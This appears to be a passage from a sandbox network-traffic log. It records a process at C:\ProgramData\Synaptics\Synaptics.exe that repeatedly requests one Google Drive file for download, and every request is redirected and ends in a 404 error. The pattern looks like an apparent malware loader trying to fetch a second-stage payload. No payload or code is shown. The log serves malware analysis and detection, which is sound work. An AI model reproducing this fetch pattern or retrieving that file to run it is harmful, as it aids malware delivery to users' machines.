2025-01-02 19:10:56 UTC	1314	IN	HTTP/1.1 303 See Other Content-Type: application/binary Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Thu, 02 Jan 2025 19:10:56 GMT Location: https://drive.usercontent.google.com/download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download Strict-Transport-Security: max-age=31536000 Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Content-Security-Policy: script-src 'report-sample' 'nonce-5e3SIJG4KY3DplHZmYo6Sg' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Cross-Origin-Opener-Policy: same-origin Server: ESF Content-Length: 0 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
32	192.168.2.7	56005	142.250.185.193	443	5600	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-02 19:10:56 UTC	388	OUT	GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Cache-Control: no-cache Host: drive.usercontent.google.com Connection: Keep-Alive Cookie: NID=520=jwHVCD5Y3PztQF9UGa_Zr3EGaEguJU83oc0CdCzIBuJ07tnDw9kZndwQ08yQRj56tWS1YK2ZrpJ9ZFZEY1_M4NK4aMUe9-olJxf0xZ1xacFiskpT6O89ktlUUaJU_vGNbSabuV7ymMFYewPeqFyj2lmvgKpUZvR0jbXGwRoqr-mr67D3j3Kyht7d
2025-01-02 19:10:56 UTC	1243	IN	HTTP/1.1 404 Not Found X-GUploader-UploadID: AFiumC4tcu_I7XerSffiRbjnDtsyYKZ2Gu5PTbDZ__QnuKFCDjmr6lXtdQfqipgE36YRmyut Content-Type: text/html; charset=utf-8 Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Thu, 02 Jan 2025 19:10:56 GMT Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Content-Security-Policy: script-src 'report-sample' 'nonce-gTeAO6vy2yjcg0CQVEjeLw' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Cross-Origin-Opener-Policy: same-origin Content-Length: 1652 Server: UploadServer Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Content-Security-Policy: sandbox allow-scripts Connection: close
2025-01-02 19:10:56 UTC	147	IN	Data Raw: 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 20 64 69 72 3d 6c 74 72 3e 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 76 69 65 77 70 6f 72 74 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2c 20 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 22 3e 3c 74 69 74 6c 65 3e 45 72 72 6f 72 20 34 30 34 20 28 4e 6f Data Ascii: <html lang="en" dir=ltr><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error 404 (No
2025-01-02 19:10:56 UTC	1390	IN	Data Raw: 74 20 46 6f 75 6e 64 29 21 21 31 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 20 6e 6f 6e 63 65 3d 22 4d 4f 69 49 52 68 69 5f 33 77 64 62 73 32 34 55 48 61 32 55 6f 51 22 3e 2a 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 68 74 6d 6c 2c 63 6f 64 65 7b 66 6f 6e 74 3a 31 35 70 78 2f 32 32 70 78 20 61 72 69 61 6c 2c 73 61 6e 73 2d 73 65 72 69 66 7d 68 74 6d 6c 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 66 66 66 3b 63 6f 6c 6f 72 3a 23 32 32 32 3b 70 61 64 64 69 6e 67 3a 31 35 70 78 7d 62 6f 64 79 7b 63 6f 6c 6f 72 3a 23 32 32 32 3b 74 65 78 74 2d 61 6c 69 67 6e 3a 75 6e 73 65 74 3b 6d 61 72 67 69 6e 3a 37 25 20 61 75 74 6f 20 30 3b 6d 61 78 2d 77 69 64 74 68 3a 33 39 30 70 78 3b 6d 69 6e 2d 68 65 69 67 68 74 3a 31 38 30 70 78 3b 70 61 64 64 69 6e 67 Data Ascii: t Found)!!1</title><style nonce="MOiIRhi_3wdbs24UHa2UoQ">*{margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{color:#222;text-align:unset;margin:7% auto 0;max-width:390px;min-height:180px;padding
2025-01-02 19:10:56 UTC	115	IN	Data Raw: 3e 54 68 61 74 e2 80 99 73 20 61 6e 20 65 72 72 6f 72 2e 3c 2f 69 6e 73 3e 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 20 3c 69 6e 73 3e 54 68 61 74 e2 80 99 73 20 61 6c 6c 20 77 65 20 6b 6e 6f 77 2e 3c 2f 69 6e 73 3e 3c 2f 6d 61 69 6e 3e Data Ascii: >Thats an error.</ins><p>The requested URL was not found on this server. <ins>Thats all we know.</ins></main>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
33	192.168.2.7	56007	142.250.185.193	443	5600	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-02 19:10:56 UTC	388	OUT	GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Cache-Control: no-cache Host: drive.usercontent.google.com Connection: Keep-Alive Cookie: NID=520=jwHVCD5Y3PztQF9UGa_Zr3EGaEguJU83oc0CdCzIBuJ07tnDw9kZndwQ08yQRj56tWS1YK2ZrpJ9ZFZEY1_M4NK4aMUe9-olJxf0xZ1xacFiskpT6O89ktlUUaJU_vGNbSabuV7ymMFYewPeqFyj2lmvgKpUZvR0jbXGwRoqr-mr67D3j3Kyht7d
2025-01-02 19:10:57 UTC	1250	IN	HTTP/1.1 404 Not Found X-GUploader-UploadID: AFiumC4cT7BYBj9fbMLhdKH4z-Wh80y2yq5xB7BAgxFzIyg7P5AjE6fB8HXkWQiOhHh1eWpsmF3B1Eo Content-Type: text/html; charset=utf-8 Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Thu, 02 Jan 2025 19:10:56 GMT Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Content-Security-Policy: script-src 'report-sample' 'nonce-UKVR5P5b-rceVVlxHKBe7Q' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Cross-Origin-Opener-Policy: same-origin Content-Length: 1652 Server: UploadServer Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Content-Security-Policy: sandbox allow-scripts Connection: close
2025-01-02 19:10:57 UTC	140	IN	Data Raw: 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 20 64 69 72 3d 6c 74 72 3e 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 76 69 65 77 70 6f 72 74 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2c 20 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 22 3e 3c 74 69 74 6c 65 3e 45 72 72 6f 72 20 Data Ascii: <html lang="en" dir=ltr><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error
2025-01-02 19:10:57 UTC	1390	IN	Data Raw: 34 30 34 20 28 4e 6f 74 20 46 6f 75 6e 64 29 21 21 31 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 20 6e 6f 6e 63 65 3d 22 46 48 32 33 50 48 31 45 36 6e 65 53 4a 6e 6c 52 4f 6a 35 6c 67 77 22 3e 2a 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 68 74 6d 6c 2c 63 6f 64 65 7b 66 6f 6e 74 3a 31 35 70 78 2f 32 32 70 78 20 61 72 69 61 6c 2c 73 61 6e 73 2d 73 65 72 69 66 7d 68 74 6d 6c 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 66 66 66 3b 63 6f 6c 6f 72 3a 23 32 32 32 3b 70 61 64 64 69 6e 67 3a 31 35 70 78 7d 62 6f 64 79 7b 63 6f 6c 6f 72 3a 23 32 32 32 3b 74 65 78 74 2d 61 6c 69 67 6e 3a 75 6e 73 65 74 3b 6d 61 72 67 69 6e 3a 37 25 20 61 75 74 6f 20 30 3b 6d 61 78 2d 77 69 64 74 68 3a 33 39 30 70 78 3b 6d 69 6e 2d 68 65 69 67 68 74 3a 31 38 30 70 78 3b Data Ascii: 404 (Not Found)!!1</title><style nonce="FH23PH1E6neSJnlROj5lgw">*{margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{color:#222;text-align:unset;margin:7% auto 0;max-width:390px;min-height:180px;
2025-01-02 19:10:57 UTC	122	IN	Data Raw: 62 3e 20 3c 69 6e 73 3e 54 68 61 74 e2 80 99 73 20 61 6e 20 65 72 72 6f 72 2e 3c 2f 69 6e 73 3e 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 20 3c 69 6e 73 3e 54 68 61 74 e2 80 99 73 20 61 6c 6c 20 77 65 20 6b 6e 6f 77 2e 3c 2f 69 6e 73 3e 3c 2f 6d 61 69 6e 3e Data Ascii: b> <ins>Thats an error.</ins><p>The requested URL was not found on this server. <ins>Thats all we know.</ins></main>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
34	192.168.2.7	56011	142.250.74.206	443	5600	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-02 19:10:57 UTC	143	OUT	GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Host: docs.google.com Cache-Control: no-cache
2025-01-02 19:10:57 UTC	1314	IN	HTTP/1.1 303 See Other Content-Type: application/binary Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Thu, 02 Jan 2025 19:10:57 GMT Location: https://drive.usercontent.google.com/download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download Strict-Transport-Security: max-age=31536000 Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Content-Security-Policy: script-src 'report-sample' 'nonce-4jwsP7VVS6zOWcN5whz3eA' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Cross-Origin-Opener-Policy: same-origin Server: ESF Content-Length: 0 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
35	192.168.2.7	56010	142.250.74.206	443	5600	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-02 19:10:57 UTC	143	OUT	GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Host: docs.google.com Cache-Control: no-cache
2025-01-02 19:10:57 UTC	1314	IN	HTTP/1.1 303 See Other Content-Type: application/binary Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Thu, 02 Jan 2025 19:10:57 GMT Location: https://drive.usercontent.google.com/download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download Strict-Transport-Security: max-age=31536000 Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Cross-Origin-Opener-Policy: same-origin Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Content-Security-Policy: script-src 'report-sample' 'nonce-nTTK4iiXhGQDVruH3UU1cg' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Server: ESF Content-Length: 0 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
36	192.168.2.7	56012	142.250.185.193	443	5600	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-02 19:10:57 UTC	388	OUT	GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Cache-Control: no-cache Host: drive.usercontent.google.com Connection: Keep-Alive Cookie: NID=520=jwHVCD5Y3PztQF9UGa_Zr3EGaEguJU83oc0CdCzIBuJ07tnDw9kZndwQ08yQRj56tWS1YK2ZrpJ9ZFZEY1_M4NK4aMUe9-olJxf0xZ1xacFiskpT6O89ktlUUaJU_vGNbSabuV7ymMFYewPeqFyj2lmvgKpUZvR0jbXGwRoqr-mr67D3j3Kyht7d
2025-01-02 19:10:58 UTC	1243	IN	HTTP/1.1 404 Not Found X-GUploader-UploadID: AFiumC6EUO55X61NqUhKFpJMAPFE3-H0yMAp_mPK9eCwKX3RMBtb5BlnEhvhlMaUbXWyFUTe Content-Type: text/html; charset=utf-8 Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Thu, 02 Jan 2025 19:10:57 GMT Content-Security-Policy: script-src 'report-sample' 'nonce-RXsgIFexbOOJOOre9IsHPw' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Cross-Origin-Opener-Policy: same-origin Content-Length: 1652 Server: UploadServer Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Content-Security-Policy: sandbox allow-scripts Connection: close
2025-01-02 19:10:58 UTC	147	IN	Data Raw: 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 20 64 69 72 3d 6c 74 72 3e 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 76 69 65 77 70 6f 72 74 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2c 20 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 22 3e 3c 74 69 74 6c 65 3e 45 72 72 6f 72 20 34 30 34 20 28 4e 6f Data Ascii: <html lang="en" dir=ltr><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error 404 (No
2025-01-02 19:10:58 UTC	1390	IN	Data Raw: 74 20 46 6f 75 6e 64 29 21 21 31 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 20 6e 6f 6e 63 65 3d 22 79 56 47 44 4e 70 6e 72 34 47 34 68 34 34 74 4c 74 77 5a 58 7a 67 22 3e 2a 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 68 74 6d 6c 2c 63 6f 64 65 7b 66 6f 6e 74 3a 31 35 70 78 2f 32 32 70 78 20 61 72 69 61 6c 2c 73 61 6e 73 2d 73 65 72 69 66 7d 68 74 6d 6c 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 66 66 66 3b 63 6f 6c 6f 72 3a 23 32 32 32 3b 70 61 64 64 69 6e 67 3a 31 35 70 78 7d 62 6f 64 79 7b 63 6f 6c 6f 72 3a 23 32 32 32 3b 74 65 78 74 2d 61 6c 69 67 6e 3a 75 6e 73 65 74 3b 6d 61 72 67 69 6e 3a 37 25 20 61 75 74 6f 20 30 3b 6d 61 78 2d 77 69 64 74 68 3a 33 39 30 70 78 3b 6d 69 6e 2d 68 65 69 67 68 74 3a 31 38 30 70 78 3b 70 61 64 64 69 6e 67 Data Ascii: t Found)!!1</title><style nonce="yVGDNpnr4G4h44tLtwZXzg">*{margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{color:#222;text-align:unset;margin:7% auto 0;max-width:390px;min-height:180px;padding
2025-01-02 19:10:58 UTC	115	IN	Data Raw: 3e 54 68 61 74 e2 80 99 73 20 61 6e 20 65 72 72 6f 72 2e 3c 2f 69 6e 73 3e 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 20 3c 69 6e 73 3e 54 68 61 74 e2 80 99 73 20 61 6c 6c 20 77 65 20 6b 6e 6f 77 2e 3c 2f 69 6e 73 3e 3c 2f 6d 61 69 6e 3e Data Ascii: >Thats an error.</ins><p>The requested URL was not found on this server. <ins>Thats all we know.</ins></main>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
37	192.168.2.7	56014	142.250.185.193	443	5600	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-02 19:10:57 UTC	388	OUT	GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Cache-Control: no-cache Host: drive.usercontent.google.com Connection: Keep-Alive Cookie: NID=520=jwHVCD5Y3PztQF9UGa_Zr3EGaEguJU83oc0CdCzIBuJ07tnDw9kZndwQ08yQRj56tWS1YK2ZrpJ9ZFZEY1_M4NK4aMUe9-olJxf0xZ1xacFiskpT6O89ktlUUaJU_vGNbSabuV7ymMFYewPeqFyj2lmvgKpUZvR0jbXGwRoqr-mr67D3j3Kyht7d
2025-01-02 19:10:58 UTC	1243	IN	HTTP/1.1 404 Not Found X-GUploader-UploadID: AFiumC7YozNdtm2TxxxjhCUta-A2c0NZk4a7sxivDbuOPoCJepMhHcl4t_E_tgimPmxfwi9a Content-Type: text/html; charset=utf-8 Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Thu, 02 Jan 2025 19:10:58 GMT Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Content-Security-Policy: script-src 'report-sample' 'nonce-w57nt1F1mMbnglm1B-5cxA' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Cross-Origin-Opener-Policy: same-origin Content-Length: 1652 Server: UploadServer Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Content-Security-Policy: sandbox allow-scripts Connection: close
2025-01-02 19:10:58 UTC	147	IN	Data Raw: 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 20 64 69 72 3d 6c 74 72 3e 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 76 69 65 77 70 6f 72 74 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2c 20 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 22 3e 3c 74 69 74 6c 65 3e 45 72 72 6f 72 20 34 30 34 20 28 4e 6f Data Ascii: <html lang="en" dir=ltr><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error 404 (No
2025-01-02 19:10:58 UTC	1390	IN	Data Raw: 74 20 46 6f 75 6e 64 29 21 21 31 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 20 6e 6f 6e 63 65 3d 22 49 33 4e 31 53 67 56 30 36 30 6f 52 66 71 32 5a 68 50 53 7a 50 41 22 3e 2a 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 68 74 6d 6c 2c 63 6f 64 65 7b 66 6f 6e 74 3a 31 35 70 78 2f 32 32 70 78 20 61 72 69 61 6c 2c 73 61 6e 73 2d 73 65 72 69 66 7d 68 74 6d 6c 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 66 66 66 3b 63 6f 6c 6f 72 3a 23 32 32 32 3b 70 61 64 64 69 6e 67 3a 31 35 70 78 7d 62 6f 64 79 7b 63 6f 6c 6f 72 3a 23 32 32 32 3b 74 65 78 74 2d 61 6c 69 67 6e 3a 75 6e 73 65 74 3b 6d 61 72 67 69 6e 3a 37 25 20 61 75 74 6f 20 30 3b 6d 61 78 2d 77 69 64 74 68 3a 33 39 30 70 78 3b 6d 69 6e 2d 68 65 69 67 68 74 3a 31 38 30 70 78 3b 70 61 64 64 69 6e 67 Data Ascii: t Found)!!1</title><style nonce="I3N1SgV060oRfq2ZhPSzPA">*{margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{color:#222;text-align:unset;margin:7% auto 0;max-width:390px;min-height:180px;padding
2025-01-02 19:10:58 UTC	115	IN	Data Raw: 3e 54 68 61 74 e2 80 99 73 20 61 6e 20 65 72 72 6f 72 2e 3c 2f 69 6e 73 3e 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 20 3c 69 6e 73 3e 54 68 61 74 e2 80 99 73 20 61 6c 6c 20 77 65 20 6b 6e 6f 77 2e 3c 2f 69 6e 73 3e 3c 2f 6d 61 69 6e 3e Data Ascii: >Thats an error.</ins><p>The requested URL was not found on this server. <ins>Thats all we know.</ins></main>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
38	192.168.2.7	56017	142.250.74.206	443	5600	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-02 19:10:58 UTC	143	OUT	GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Host: docs.google.com Cache-Control: no-cache
2025-01-02 19:10:58 UTC	1314	IN	HTTP/1.1 303 See Other Content-Type: application/binary Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Thu, 02 Jan 2025 19:10:58 GMT Location: https://drive.usercontent.google.com/download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download Strict-Transport-Security: max-age=31536000 Content-Security-Policy: script-src 'report-sample' 'nonce-zuTaLQFGAD0d0QYgpNndgg' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Cross-Origin-Opener-Policy: same-origin Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Server: ESF Content-Length: 0 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
39	192.168.2.7	56018	142.250.74.206	443	5600	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-02 19:10:58 UTC	143	OUT	GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Host: docs.google.com Cache-Control: no-cache
